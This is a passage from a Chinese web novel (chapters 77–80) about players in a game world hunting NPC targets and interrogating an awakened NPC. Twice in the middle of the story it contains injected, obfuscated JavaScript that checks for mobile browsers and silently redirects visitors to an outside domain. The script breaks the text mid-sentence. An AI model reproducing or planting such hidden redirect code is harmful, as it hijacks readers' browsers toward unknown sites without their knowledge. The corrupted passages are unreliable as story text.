人和猫已经追丢,再去找实在太浪费时间了,林屿叹了口气,随后坚定眼神,“继续计划,我找人,你套麻袋,绑到没人地看脖子,有刺放走没刺马上给他一子弹。” 孟锦竹两眼放光,摩拳擦掌地说了声好。 就在这边即将开始流水线作业的时候,白猫领着田子阳甩开身后的跟踪者走了大约一公里,远远地看见一栋废楼。 这处废楼也是一个副本点,零星的NPC上下穿行,看向闯入者的目光可不太友好。 “你太慢了!”华浩俊从阴影处闪身出现,叉着腰不满地说道。 “抱歉,我抢到一个猎物被跟踪了,摆脱她们花了点时间。”田子阳双手放在身侧,没有再整什么花里胡哨的姿势和响指,而是谨慎地望着阴影处,声音里有强压的平静。 白猫望了他一眼,身形轮廓忽然像电视里迟滞的影像一样模糊成光带,随后消散。裸露钢筋的承重柱背面走出一个人,身材修长,卷发精致,锐利的眼神直直望向田子阳内心深处。唐瑜妡步伐稳健,浑然不像是那个因腿脚不便,整日在白城轮椅上的坐着的人。 田子阳忌惮地垂下眼,不敢直视她的目光。 77.第七十七章 “被跟踪了?”华浩俊语气古怪地讥讽,“不会是去通风报信才耽误时间了吧?” “不是,我没有背叛你们,我的确有一个击杀,再有两个就能出去了。”田子阳低声说道,他确实底气不足,之前他透露给种植者的那些消息首领怎么可能发现不了,华浩俊甚至建议把他当叛徒关起来,然而唐瑜妡却一直没有表态,甚至还一反常理地把他拉进关键赌局。 他猜不透她的心思,也不知道前方是什么在等着他,但有一点可以肯定,若是除了那个给他留下深刻印象,不按套路出牌的林屿,还有谁能在副本里如鱼得水,那一定是眼前这个女人,她的技能在副本里近乎全能,而他却不知其名称和全貌,只探得冰山一角。 华浩俊虽然幼稚得可笑,心里充满了莫名其妙的荣誉感,但他对玩家公会的忠诚度Max,听见这话还想再次开口找茬,继续压一压这个吃里扒外人的风头,却听见大老板冷淡地给他下了定论。 “很好,不枉我特意把你安排在他们旁边进本,果然分到了一起,还好你没有投奔他们,不然这次可能再也出不去了。”唐瑜妡淡淡地说道。 “……当然不会,我从来没想过背叛您。”田子阳不喜欢这种一切被看透的感觉,但仍然勉强回答着,背上冷汗涟涟。他对玩家公会没有什么归属感可言,虽然理智觉得不可能,感情上却的确希望对方能赢,之前开枪却是鬼使神差般的,不知道是为了解救她们还是饥渴于目标NPC的积分,或许两者都有,他的确不是什么善良的好人,但没想到自己在不知不觉间经受了这样一道考验,一念之差就可能被当成叛徒被清算。 “本来按你之前的行为,我应该停下你在公会所有的福利,并且回收你借公会得到的所有积分,但我愿意给你一个机会……知道为什么带上你吗?”唐瑜妡漫不经心地踱步,似乎在体会或是享受这双在副本里能走动的双腿。 可被问询的田子阳就没这么享受了,他知道答案——他的能力,她认为他的能力可以分辨目标NPC。此刻,他本该立刻像大部分成员那样上前表忠心,拍着胸脯说交给我吧我一定好好表现证明自己,然而一丝谨慎让他犹豫着,没有立刻开口。 之前他确实用阴阳眼技能找到一个怨气重的,并成功击截胡了对方,但那个减重营副本里怨气最重的却并非变异NPC,而是一具被拼凑的尸身,所以这个方法真的百分百正确吗? “我不留没有价值的人。”唐瑜妡说道。 田子阳只得回答:“我能找出目标。” 他心中有所明悟,她要利用的不止是他的能力,还有他的记忆,他开始回忆上个副本林屿所有的举动,以及董事长的种种行为表现,并试图用贩卖情报的经验从中抽出那条看不见的脉络。 有什么是和之前不一样的呢…… 田子阳倏然睁开眼睛,光线照在废楼裸露的钢筋混凝土上,灰白的色泽像极了黏腻的灰泥,浑身被包裹得密不透风的窒闷感又一次袭来,他又想起董事长的恶心技能和楼道里肉眼看不见的人形。 “我大概有头绪了。” “那就开始吧。” 也是时候该离开初始副本,到其他地方狩猎NPC了,玩家公会不能落后于人。 光线从废楼外部照进来,在前方被楼层和水泥柱阻隔成方形的亮块,田子阳脚步沉重地走在最后,路过某个拐角的时候忽然顿了顿,从这个角度,他能模糊地看到几十个堆叠在一起的人形,他们究竟是…… 他走近两步,待看清其中几人的脸之后,一阵冰冷的电流窜过脊背,他才刚刚见过这些人,他们是这里的NPC!发生什么事了,这么短的时间就出现在这里? 忽然间,一阵寒毛直竖的战栗使他僵硬,背后脚步停下,响起一个幽幽的女声。 “我很高兴你能认清立场。” 田子阳心头颤了颤,没有勇气把“你是怎么做到的”这句话问出口,然而在走出建筑之后,见到与方才进来时毫无差别的场景和人的时候,他的心跳奇迹般地镇定了。 原来如此,这些外面活动的NPC,只不过是和领路白猫一模一样的存在——她的技能造物而已。 …… 桥下。 男人双眼暴突,挣扎中领结散开,口袋里的小卡片散落一地,看上去分外凄惨,但无论如何都掰不开横在咽喉的铁臂。孟锦竹此刻变身壮汉,还没度过那股兴奋劲,第一次发觉自己拥有优于常人的力气之后就在违法犯罪……啊不,杀敌制胜的路上越走越远,眼看着这里越来越像犯罪现场,林屿瞄了地上的小卡片一眼,准备在他昏迷之后出声叫停。 “我以前怎么没想到呢?你简直是天才!我一直把它当做迷惑人的手段用,没想到还可以这么用,变成别人也拥有了别人的身体力量啊!”变成威猛肌肉男形象的孟锦竹眉飞色舞,说话间恨不得一拍大腿,手臂力量又收紧几分,勒得男人直翻白眼。 林屿上前一步,生怕她一不小心把人勒死了,让这回努力打了水漂,而一边的孟锦竹依然沉浸于肌肉力量,丝毫没有发现人质状态,让她忍不住面露复杂。 这还是原先那个胆小的同伴吗?从第一个副本见到她开始,她身上的善良、谨慎、畏惧,在此刻似乎一扫而光,由身及心地变了模样,由里而外统一成此刻的形象,就仿佛她真的成为这个被借用形象的壮汉。 林屿不知这样的变化是好还是坏,是一时还是一直,不过她乐于看到小伙伴找回自信的模样,况且这样的变化无疑更有利于副本生存。 “那么好的变身技能,我怎么还嫌弃它没用呢?一想到以前一直变韩舒那个弱鸡身板就是气,浪费能力啊!” 孟锦竹像是拿着宝藏不自知,快饿死在家里最终醒悟的人一样,心中充满了懊悔、遗憾、惋惜,以及强烈的,想要加倍补偿自己的渴望,具体体现在她的手臂力量又大了几分,男人挣扎的双手已经垂了下去,只剩下眼球还在不住颤动。 “好了,可以了,再用力他就没救了。”林屿走上前去,准备探查他的后颈,然而在孟锦竹松手的瞬间,一阵危险的警兆像电流一般刺入头颅,她瞳孔锁紧,头皮一凉,空气中有什么看不见的东西悄然变幻。 “闪开!”林屿一把推开孟锦竹,急促矮身,有什么锐利的东西掠过发间,锋利的气流几乎割伤额头,“噗嗤”,几缕截断的发丝从空气中轻飘飘地坠下,而林屿已经迅速拿出最有用的武器——那柄枪,对准男人,不过这个NPC在垂死挣扎后已经脱力昏倒,方才不过是他末路下的挣扎。 孟锦竹被推得后退几步,随后急忙扑上来压制住男人,忧切的目光在林屿身上来回,“你没事吧?有没有受伤?他竟然有技能!” 方才的攻击无形无迹,有些类似空气刃,林屿摸了摸半截发丝,“还好,只掉了这么一缕,发型还能看。” “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868473|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是发型的问题吗?”孟锦竹哭笑不得,拍了拍膝盖压着的NPC,“他好像晕了,能用技能八成就是找的目标,直接给他一发子弹。” “不急。”林屿也蹲了下去,扒开衣领在脖子上仔细寻找白刺的痕迹,“确认一下更放心。” 实际上,这已经是两人敲闷棍的第六个人了,林屿找到怨气重的目标后,孟锦竹变换形象将人引到僻静处偷袭,弄晕之后检查脖子后面有没有白刺,没有的就是目标,子弹伺候——这一套流水线作业效率极高,短时间里已经积累了四个击杀,而单人击杀三个目标就可以申请脱离,也就是说,她们在飞速接近成功。 唯一的问题是,赌约能不能胜利是看最慢的一个人。 林屿找了半天,终于找到了那根刺,只能遗憾地收好枪,“不是目标,放了吧。” “明明会用技能……”孟锦竹嘟囔着,随手捡起一张地上的卡片,“好像是他衣兜里的,上面写的是……‘超能神药,只要888一支,买十送一’,额,看起来好像伟哥广告。” 她看完手一抖,像摸到脏东西一样在衣服上蹭了蹭,卡片重新回归地面。 “走吧,下一个。” 林屿点点头,心中却萦绕着丝丝疑虑,不过现在是比赛,效率就是一切,她重新凝聚注意,准备寻找下一个目标。 …… 华浩俊举着枪,手指已经扣下扳机,然而地上双手被缚的NPC兀自翻滚喊叫,丝毫没有僵硬变石头的迹象。 “又错了。”他从牙缝挤出三个字,脸色肉眼可见地变差。 “你们这是绑架!抢劫!你们等着,马上就有人来找我了,到时候一定要给点颜色看看!咒你们走路摔跤过河淹死!”NPC一边挣扎一边咒骂,眼神恨不得在这几个强盗身上咬下一块肉。 然而本该是精神攻击的垃圾话,在他出口之后却无形中改变了什么,肉眼可见的,三人身上出现了斑斓的色块,田子阳甚至在平地上踉跄一下,差点崴到脚。 唐瑜妡冷漠地看着他,眼神没有丝毫波动,“让他闭嘴。” 华浩俊做了个动作,花岗岩地砖忽然拱出地面,变成一个笼子,将男人的嘴罩住封牢,只余下“呜呜”的气音。被封住嘴的NPC受到这样对待,眼神满含杀意,在场的人毫不怀疑只要能说话,他会立刻下一个更毒的诅咒。 “不是目标,他没用了。”唐瑜妡简单地定下这个NPC的结局。随着她话语落下,一个面部平滑的怪异人形突兀地出现在房间里,就和带路白猫突兀消失时的异象一样,轮廓出现的前几秒有种投影般的模糊。 田子阳心知这就是她的技能,类似创造傀儡般的能力,之前在废楼区看到的NPC已经全部是她的造物,那个区域也因此成了玩家公会队的安全区,他们未必用得上,但可以给先遣队没能出去的人一个庇护所。 这是何等可怕的能力,面对她,就好像一个人面对千军万马。不过万事皆有限制,就是不知她一次能创造几个傀儡,又能维持多久时间。 思索间,高大的怪人抬起胳臂,衣袍落下,露出锋锐的尖刀——那是他的手臂,他整个人都是为处决而生。 刺刀扎入,NPC顷刻间失去气息,而没有脸的怪人也如来时一般突兀消失。 “现在该你解释了。”唐瑜妡丝毫没有受到地上尸体的影响,把目光转向田子阳。 一滴冷汗从他背后滑落。 78.第七十八章 “这是你的判断失误的第三次,虽然华浩俊还有一次容错空间,但你没有了,只要再打错一枪玩家公会直接出局——所以我想知道,这是你的有意为之吗?” 虽然唐瑜妡召唤出来的杀手已经消失,但田子阳毫不怀疑她可以随时再制造出来,他的命一直悬停在刀刃上,在特殊副本死亡机制不明朗的情况下,他根本不敢冒险激怒她,因此这回他回答得飞快,甚至绞尽脑汁地想要解释。 “不是,我根本没有想过会这样,按照之前副本的经验来看NPC只要有技能那就一定是目标,根本不可能有错,这种情况、这种情况我也是第一次见,很可能是特殊副本的新变化!” “新变化是街上的大白菜吗,随时随地都冒出来一个?我在这里待了多久也没见着几个新变化,我看你不过是做贼心虚,掩饰你吃里扒外的事实!”华浩俊心痛自己那□□费的子弹,他可不想和出不去的肖昌盛一样被遗落在副本里,因此对这个一看就不安分的疑似二五仔更气愤了,恨不得他立刻被处罚然后滚蛋。 田子阳懒得和小屁孩争辩,但他不得不顾及唐瑜妡的态度,在她抬眼扫来的一瞬,视线里蕴含的意味让他浑身发凉,他毫不怀疑自己若是解释不清,那么出副本以后就会无声无息消失在白城的人海里。 “请您相信我,这个副本里我绝对没有做任何不利于玩家公会的事,也没有给对手任何方便。我是从和他们一起过的副本里得到之前的结论,想必他们得出的结论也会一样,您可以看看他们是不是有同样的失误。” “是吗,前两局他们可没有失误过。” 田子阳脸色一白,这个问题不容他解释,在能决定他生死的人已经失望地闭上眼睛,似乎已经默不作声地决定了他之后的命运。 他脸上全是汗,从来没有一刻像现在这样后悔由于贪恋资源而加入这个等级分明的组织,他向来自得于因贩售情报而获得的超越庸人的视野,然而这回他却眼睁睁看见自己坠落到曾经轻视的人群之中,一张张面容闪现眼前,他们都是他所熟识的同公会的成员,有的在激烈的资源争夺中黯然落败,脱离公会另寻归处,有的坐享渔利久未下本,最终被挑战者夺走一切,还有的冲得太猛,在一次次通关失败的幽闭中精神失控,沦落到白城边缘的难民区。 他忽然发现,原来自己从未超脱此间,超脱命运。 田子阳已经不关心自己之后会怎样了,他只是在想这一刻的抉择,是逃,还是把这场赌约走完,赌一个被放过的可能性? 沉默酝酿之际,华浩心中隐隐察觉有什么不对,由于对田子阳的厌恶,他本能地感知到他的一举一动,就在即将出手之际,唐瑜妡忽然睁开眼睛。 “没想到他们也不知道。”她喃喃自语,随后看向两人,“看来,我们得另想办法。” 原来她方才在用技能窥探对方动向,她能共享造物的视野! 田子阳驯顺地垂下眼帘,缓缓平复庆幸与惊险的心跳——方才他差一点就当着两人的面逃跑,现在看来,自己其实根本就没有逃脱的机会,跟着公会成员直到赌约结束也不失为一个聪明的做法。 “嗯嗯,我都听唐姐的!”华浩俊的表情好像下一秒就要在老大的带领下成功了一样,迷弟本质显露无疑,“下一步我们做什么?” “找人。”唐瑜妡露出意味深长的笑容,“如果不能正向打败对手,那么从背后击碎他们的希望也是一样的,毕竟第一局可是我们赢了。” “第一局,唐姐是说盛堃那场?” 华浩俊冥思苦想那一局是怎么胜的,唐瑜妡笑着摸了摸他的头,“在这里闷了这么久,该出去透透气了,等我们赢了你就不用担心认识的人会受到伤害了,我会好好安排给他们一个安全的位置。” 华浩俊解开房门的封锁,一脸坏笑,“哎呀,那就要对不起林姐姐了,不过等他们加入之后我就可以罩着她,到时候就是一家兄弟了!” 谁想和你做一家兄弟!人家都这么努力地想赢了,她如果知道你这么容易就被骗来对付他说不定宁愿不认识你!田子阳心中嗤笑,不过碍于立场,面上没有露出任何端倪。 就在华浩俊摩拳擦掌准备大显身手的时候,他腰上别着的海螺忽然开始震动。 “给我。”唐瑜妡简短吩咐。 海螺电话的听筒凑近耳朵,唐瑜妡顿了几秒,忽然难以置信道:“什么?肖昌盛死了?” …… “所以这是第几个了?再找下去我眼睛要瞎了。”林屿遗憾地替俯趴在地面上的NPC合上衣领,卫生意识极好地用商城里买来的饮用水冲手后才揉了揉眼睛缓解酸痛,她左右活动了一下脖子,几乎能听见骨骼咔咔的响声,起身时又是一阵头昏眼花。 倒也不是身体素质不行,纯粹是同一件事重复太多次了,流水线作业的结果是孟锦竹拳头肿了,而她自己有了某些类似办公室白领们的工伤劳损。 在之前绑架——检查遇到危险之后,两人把流程改成了敲闷棍——检查,孟锦竹完全适应了外观角色,仿佛化身电影里那些力大无穷的勇者(恶棍),专干趁人不备绑架之事,把这个十字路口周围的路人绑了个遍,从背后敲晕带走放在桥下排排躺,就连河流副本区域的原住民水鬼都没放过,由于他们本身是非人设定敲不晕,于是直接被胖揍一顿后按着检查脖子,最后水鬼是哭着离开的。 林屿简直佩服她,竟然还藏着这般勇猛的外观储备,她穿着这身形象往林屿面前一站,就仿佛一座小山压下,林屿嘴角抽了抽,她感觉都快不认识这个小伙伴了。 “第三十八个。”孟锦竹倒是还记得数字,“这个也不是?” “不是目标。”林屿遗憾地摇头,要量不要质,也就是不做筛选直接绑人的结果就是,真正能找到的目标惊人地少,其余全部是普通NPC,加上之前的总共也才找到五个,孟锦竹的击杀量满了三,系统已经跳出了离开选项,不过林屿还差一人。 “怎么办?周围好像找不到人了。”孟锦竹出去看了一圈,回来苦恼道。 林屿默默看了看在河岸上躺了一地的无辜路人,心说那不然呢?你这里有去无回啊,外面的NPC肯定都不敢靠近了。 “要不换阵地?”她建议道,“之后要不然还是用老办法吧,麻烦一点,但准确率高一点。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894830|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “嗯嗯,换个阵地就能解决的事,为什么要换方法呢?”孟锦竹爱不释手地摸着手臂上的肌肉含糊不清地回答着,看样子很是舍不得这身外观,忽然她眼神一顿,“咦,这里怎么有鸟?它竟然不怕我们。” 林屿抬头一看,果然看见桥头停了一只麻雀,不过在河岸种了很多柳树,有麻雀也是很正常的事,她本来不甚在意,然而心中忽然闪过一丝捕捉不到的东西,手背在身后悄然拿出匕首。 这片河流区域算是一个副本,而副本里有动物很正常,但这些动物没一个简单的,全都是考验玩家的一环,也就是说,不要看这是一个普普通通的小麻雀,实质上它可能非常凶猛,翅膀如闪电,爪子如钢铁,一不小心就会要你的命。 就在林屿打算先下手为强的时候,河水中几个水鬼原住民露了头,孟锦竹顿时摆出戒备的姿势,然而他们的注意力却不在两个捣乱玩家身上,而是看向了麻雀。 “噗。” 一束水流凝聚的箭簇笔直射向桥头,麻雀扑棱着翅膀惊飞而起,似乎被打中了身体,歪歪扭扭躲过了接二连三紧随其后的水箭,飞快地离开这片区域。 “啊……动物也可以乱窜副本啊……”孟锦竹感叹。 然而林屿的注意力却不在这里,她的精神甚至比刚才还要紧张——没想到原住民还藏了这个能力,看来之前被拖到岸上打没发挥出势力,现在水鬼会不会转而攻击她们? 不过对方显然没有这个心思,在幽怨地瞪视两人一眼之后,水鬼重新沉入河流,不见踪迹。 “……所以他们讨厌麻雀?”孟锦竹表示对他们行为的不理解。 林屿沉思片刻,“也可能是那只麻雀有问题,你还记得那只猫吗?” “狮子猫?怎么了?” “没什么,只是觉得有些在意。”林屿没有多说什么,进入特殊副本以来发生的种种情况掠过心头——白猫,被截胡的任务目标,拥有技能的非目标,没有出现的找石人贺望,言教授的留言,一直不曾联系的韩舒。 “情况似乎和上个副本不一样了。” “那我们现在……” 就在两人准备商讨下一步行动时,最早那个被敲闷棍的NPC从昏迷中悠悠转醒,他捂住闷重的头左右一看,顿时魂飞魄散,尖叫失声。 “啊啊啊啊啊啊啊啊!杀人了,杀人分尸,啊啊啊啊啊啊啊啊!” 然后在孟锦竹靠近他之前,保持着相同的分贝狂奔跑走了。 林屿和孟锦竹望着地上一片昏迷交缠的NPC肢体相顾无言。 “啊这……这个地方以后大概会成为死亡禁区吧。” “好像有点对不起水鬼原住民……” 林屿从桥下探头一望,远处隐隐约约好像有一大群人影不断接近,“但我们也不是故意的,总之为了报答就算水鬼真的变成目标也不会动他们的,现在,快跑!!!” 孟锦竹被林屿拉着往反方向跑,一边跑心里一边思考一个问题,小声嘀咕:“真的不是故意的吗……” 不是故意强征地盘然后痛殴原住民,然后扔了三十几个NPC在水鬼地盘上,吗? 79.第七十九章 “不过我们为什么要跑,来人了不是更好,一个个敲晕了检查是不是目标就行了。”孟锦竹很快重新选定了一个手长腿长的形象,健步如飞地跑到林屿前面,反过来拖着她跑。 “之前你都是偷袭,和这么多人正面对敌风险太大,毕竟特殊副本的死亡机制不明确,万一和上回一样受伤了带回白城呢?”林屿一边往后看一边解释,“况且……等等,去那边,那边有掩体!” 孟锦竹经过黑烟工厂旁边的路口时“咻”一下子往旁边一拐,直接闪进了这个副本区域,霎时满含化学气体和有毒微粒的烟尘灌满口鼻,两人头几口的吸气差点窒息,就好像被埋在地里一样。 “我们……为什么……要来这里……”孟锦竹痛苦地问道。 林屿勉勉强强摸到一扇门,拉开,把她推进去,自己飞快地闪身、关门,一气呵成,随后深深吸了一口气,“呼,终于可以呼吸了。” “我们可以趁此机会筛选目标啊!”孟锦竹也呼吸过来了,她心中系着赢得赌约的迫切,有些不明白同伴为何放过这个大好机会,“你还差一个击杀,我们根本不知道对方的进度,你怎么不急呢!” 话是这么说,她也并没有要单独行动的意思,明显是在等一个合理的解释。 见林屿一时没有说话,她又补充道:“你是发现什么了吗?” 林屿拍了拍衣服上的黑灰,“你还记得那个有风刃技能的男人吗?他明明不是目标,却有目标的能力,我总觉得他这种情况需要在意,却又来不及去深入调查,毕竟,我们是来抢时间的。” “可是他和刚才追我们的人有什么关系?” 林屿默了默,“追我们的人身上黑气很重,我怀疑他们和他是一类人。” 孟锦竹的面色变得凝重,“也就是说,有技能,却没法用枪击杀。” “对。” “怎么会这样呢?韩舒和之前来过的孙哥何姐都没有提过啊?”孟锦竹沉思。 林屿叹了口气,“总之,安全最重要,我们先躲过这群人,另外找个地方绑架NPC吧。” 对老玩家来说接二连三的变化让人应接不暇,但是对林屿来说,她都快习惯了——快习惯神经过敏草木皆兵了。怪事天天有,她都没进过几回副本,结果每回都能见到新花样,听说她这批玩家进来之后副本再无新鲜血液,作为白城里当之无愧的新手后辈,她却因饱受不确定感的摧残而表面看起来更为淡定。 淡定地躲过追兵,淡定地跑出工厂区域,然后淡定地在拐角处看见一个意想不到的人。 “黄瓜——”林屿瞪大眼睛,难以置信地喊道。 黄瓜摊主连忙比了好几个“嘘”,鬼鬼鬼祟祟往周围看了一眼,一把把她拉到没人处,压低声音急速问道:“你就是那个‘银屑杀手’?” “银、银翼杀手?”林屿一腔疑惑就这样堵在喉间,呆呆地重复了一遍。 “不,是银屑!”黄瓜摊主纠正道。 林屿:“银、银邪?” 黄瓜摊主:“…………” 他的嘴角抽搐不止,不得不跳过这个话题,“总之,有一群人在追你们,千万别被找到了,下场很惨的。” 黄瓜摊主手掌放平在脖子上划了一道,吐了吐舌头。 “为什么,我们做了什么天怒人怨的事吗?”林屿问道。 孟锦竹扯了扯小伙伴衣袖,小声道:“那个,好像是有的,想想河岸上那几十具尸、昏迷的人……” 林屿反应过来,“所以是他们的亲属来找麻烦了?” 黄瓜摊主含糊几声,“唔,嗯,你们现在不安全了,快点离开副本吧。” “不,不对,不可能是他们的亲属,那些人根本没有去河岸查看他们。”林屿肃容,“他们是什么人?” 黄瓜摊主苦着脸道:“我可是好心提醒你,再多的我也不知道啊!” 林屿看了他一会儿,放软了语气,伸手在他肩头拍了拍,“黄——额、黄瓜,我当然相信你了,毕竟之前副本我可是放过了你,相信你也不会做恩将仇报的事吧。” 黄瓜摊主眨了眨眼睛,不知道她大变脸下葫芦里卖的什么药,“额,当然,不过我不叫黄瓜,我叫——” “这些不重要!”林屿大力拍了一下他的背,把人打得一个趔趄,“重要的是你刚才说了副本两个字,你——是不是已经摸过石头并且有了过去记忆了?” “你知道石头?”黄瓜摊主脱口而出,随后意识到自己说了什么,身体顿时绷紧了,“我真的是为了你们好,不然我随时可以大喊把那些人吸引过来,我不想伤害你们,快走吧。” 林屿笑得和善,“我也说过我相信你不会害我们,只不过我们走不了,进来之后必须完成任务才能离开。” “唔,那没我的事了,你自便吧。”黄瓜摊主往后退了一步,看样子是打算火速离开这个可怕的女人。 每次遇见她自己的老底都会被抖清! 就在他即将扭头力气的时候,忽然听她用笃定的语气说道:“贺望在之前副本里就给你摸过石头了,所以你还在替他做事?” 黄瓜摊主差点跪下,她是怎么知道的?这两件事没有联系吧,但偏偏都对!可他现在是卧底,而且那个人专门强调过不许提起他,想到这里,他逃也似的加快了脚步。 背后想起一声轻微的“咔嚓”,一种源自本能的危险警示让他停下,回头。 林屿举着枪对准他,脸上依然是从容微笑着的,“如果我没猜错的话,你后颈上是没有白刺的,也就是说,是我们的目标。” 黄瓜摊主举起双手,缓缓转身正对着她,一双圆眼睛里满是受到迫害的委屈,“我真的是好心提醒你,没有任何别的目的。” 林屿和蔼地说道:“我也只是想问你几个问题,没有任何别的目的呀。” 在黄瓜摊主的欲哭无泪中,孟锦竹看完了林屿治瓜的全过程,简直想拍手叫好,凑近低声问道:“要我把他捆起来吗?” 黄瓜摊主显然也听到了这句悄悄话,眼神瞬间惊恐无比。 “不用,堵在他背后就行,毕竟他是我们的朋友嘛。” 孟锦竹嘿嘿一笑,瞬间化身威猛壮汉往他背后一站,绝了他逃走的心思。 黄瓜摊主泫然欲泣,“可以把枪放下吗?这样对着我好害怕。” 见可以继续谈,林屿也不惊吓他,收起系统武器走近两步宽慰道:“放宽心,我就问几件事。” 她看着这个在第二个副本遇到的NPC,脑海里飞快回想起过去种种,梳理出他“觉醒”的前因后果。 “让我想想,就从我们见面说起吧,当时你联合玩家想要坑我,但你并不是那几个对玩家有敌意的NPC,也比他们更为灵活——所以你摸了石头之后就有了自己的思想?” 当时贺望代替了原本五个核心NPC之一,却并没有真身出现,反而让本该 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“唔……”林屿沉吟片刻,“这样就说得通了,摸到石头之后只是拥有了记忆和技能,但此时并没有意识到后颈上有白刺,那些有技能但不是目标的人就是这么来的……所以追我们的也是这种人,他们发现了玩家的危险性,在主动清除我们?” 摊主苦瓜脸,“是的……不过你不要再猜了……”再猜下去他就要被扒光底裤了。 然而林屿就像逮住耗子的猫,简直没理由轻易放手,“那你现在是在做什么,帮我?保护他们?你在帮助NPC觉醒?贺望要求的?” 黄瓜摊主几乎要给她跪下,每个问题都猜对了!然而关于贺望的事牵一发动全身,他不能说,只好模糊地回答,“关于他的事,你可以直接问他,我不清楚。” “可是贺望怎么会帮NPC觉醒,这不对啊?他的目的是收集石头,但觉醒的NPC越多,和他抢石头的人越多,还是说他收集石头就是为了觉醒更多NPC,他是这么热心慷慨的人吗?” 林屿喃喃自语,摊主缩头装鹌鹑,小心地觑着她,等她思考完了,小心问道:“我可以走了吗?” “最后一个问题。” 最后一个了啊,黄瓜摊主松了一口气,想到接下来就可以走了,表情生动了点,“问吧。” “你现在是个什么东西?”林屿认真地看向他,“换句话说,你是什么状态,人,灵魂,还是尸体?” “什么!”孟锦竹低低地惊呼,随后目光炽热地看向黄瓜摊主——的背影,她有预感,弄清了这个问题,种植者联盟对整个世界的探索将显著地加深一大截,触摸其形成的本质——而这,是所有种植者核心成员在毫无希望的情况下,耗费无数精力物力人力,损失发展壮大、过得更好的机会,坚定不移探索数月乃至数年的谜团。 甚至损兵折将,导致前首领言教授生死不明,组织也遇到了倾覆的危机。 她的肌肉动作忽然变了,穿着猛男的外皮,她先前的姿势是随意的,只是把自己当柱子堵路,而现在双臂略抬,在摊主身后形成环抱之势,距离悄无声息地拉进,像是等待猎物进网的蜘蛛,只等林屿一声令下,或是黄瓜摊主的退缩逃离。 “啊,你果然问了这个问题。”摊主的嘴角绽开苦涩笑容,随后,颊线渐渐收紧,露出面无表情的冰冷神色,“我也一直如此自问,我究竟是个什么东西。” 80.第八十章 “一个人会知道自己是怎么死的吗?”黄瓜摊主抬起头,眼里闪烁着晦涩不明的光,“我知道,被车撞死的,在我23岁那年。当时我实习第一天害怕迟到,所以赶着最后几秒绿灯过马路,没想到有辆车全速开过来……” “所以你现在是死人。”林屿象征性给他留了几秒钟的悲伤时间,“灵魂,还是尸体?” “我不确定。”黄瓜摊主回答,“我似乎是拥有实体的,在这里也没有什么阿飘的能力,可是除了我之外其他死尸幽灵类的角色有。对于这一点,其实我也很迷惑。” “那你知道你来到这里的前因后果吗?”林屿终于问到了重点。 黄瓜摊主摇头,努力地回忆着,“这段记忆很模糊,我只记得死后我的意识快要消散,越来越迷糊,然后不知怎么来到了这里。” 孟锦竹眼睁睁看着最重要的线索就这样断了,世界的成因,幕后的黑手,以及系统运转的规则,这是她离所有一切真相最近的一次,不甘心道:“你……要不再加把劲努力想一下?就算是不知道真假的片段也行。” 摊主依旧摇头。 壮汉形象孟锦竹有一瞬间手臂肌肉鼓动,林屿还以为她会延续变身后的作风使用暴力,不过几秒后她的气势泄了出去,颓丧地垂下头。 “至少我们知道了别的,原来NPC真的是人……那我们这次的任务岂不是……” 岂不是杀人,还是把死去的人再杀死一次。 她抖动着嘴唇,越过黄瓜摊主的头顶看向同伴的目光有一瞬间是无助的,就在林屿想着要不要让她直接退出——反正她的击杀已经够了——的时候,孟锦竹的目光从无措、茫然、歉疚和痛苦的交替中逐渐恢复了坚定。 “感谢你能告诉我们这些,我们之后还能联系你吗?毕竟你知道的消息对我们来说非常宝贵。” “啊这……”黄瓜摊主一脸犹豫,明显是不想再联系某个瘟神却不敢拒绝的模样。 孟锦竹不由分说,把一张备用传信纸撕开一半递给了他,“我们只是想之后查漏补缺几个问题,如果觉得为难也没有关系,没有强制性,只回复你愿意回复的就好。” 她示例写了几个字,告诉他纸条的用法。 黄瓜摊主见这东西只是个留言工具没什么危险性,也就半推半拒地收下了。 “我可以走了吗?” “当然可以。”林屿拉着孟锦竹给他让路。 黄瓜摊主感觉自己刚才经历了九九八十一难才终于获得自由,简直让人热泪盈眶,几乎是哽咽地看着这两具瘟神,“那就,再见、啊不,告别了?” “嗯。”林屿从他身上榨取到了足够的消息,本着做人厚道的原则自然要放过他,然而就在他动身离开的前一秒,她忽然扫到孟锦竹手中纸条上出现的几行字迹。 【你们在哪?我还差一个,妈的,明明按进来之前听到的办法做了,怎么会错误两个?】 林屿抬起头,黄瓜摊主敏锐地察觉到空气里有什么改变了,不自觉向后退了半步。 “我们有个同伴没有容错机会了,他缺一个确定的目标。” …… “之前他是跟我们在一起,可是、可是我们也不可能时时刻刻都盯着他看啊!我俩走在前头,正在往基地赶,那小子在后面优哉游哉,结果一回头的功夫人就没了,找倒是没找多久,然后发现人死在一边的巷子里了……” “是啊是啊,真的很突然,我们也不清楚什么情况,但是一直放在原地也不好,所以这不是给抬回来了吗?” 废楼副本内,玩家公会先遣队的两个队员唾沫纷飞、脸红脖子粗地解释肖昌盛遇害的前因后果——就是他们什么也没看见,什么也没发现,唐瑜妡冷若冰霜地听着两人你一言我一语的开脱,已经捏了几个模型去现场四周看情况。 透过鸟雀的眼睛,她只能看见地上的一滩血迹,余下的痕迹已经十分凌乱,周围可疑人员早已不在原处,要找到凶手难于登天。 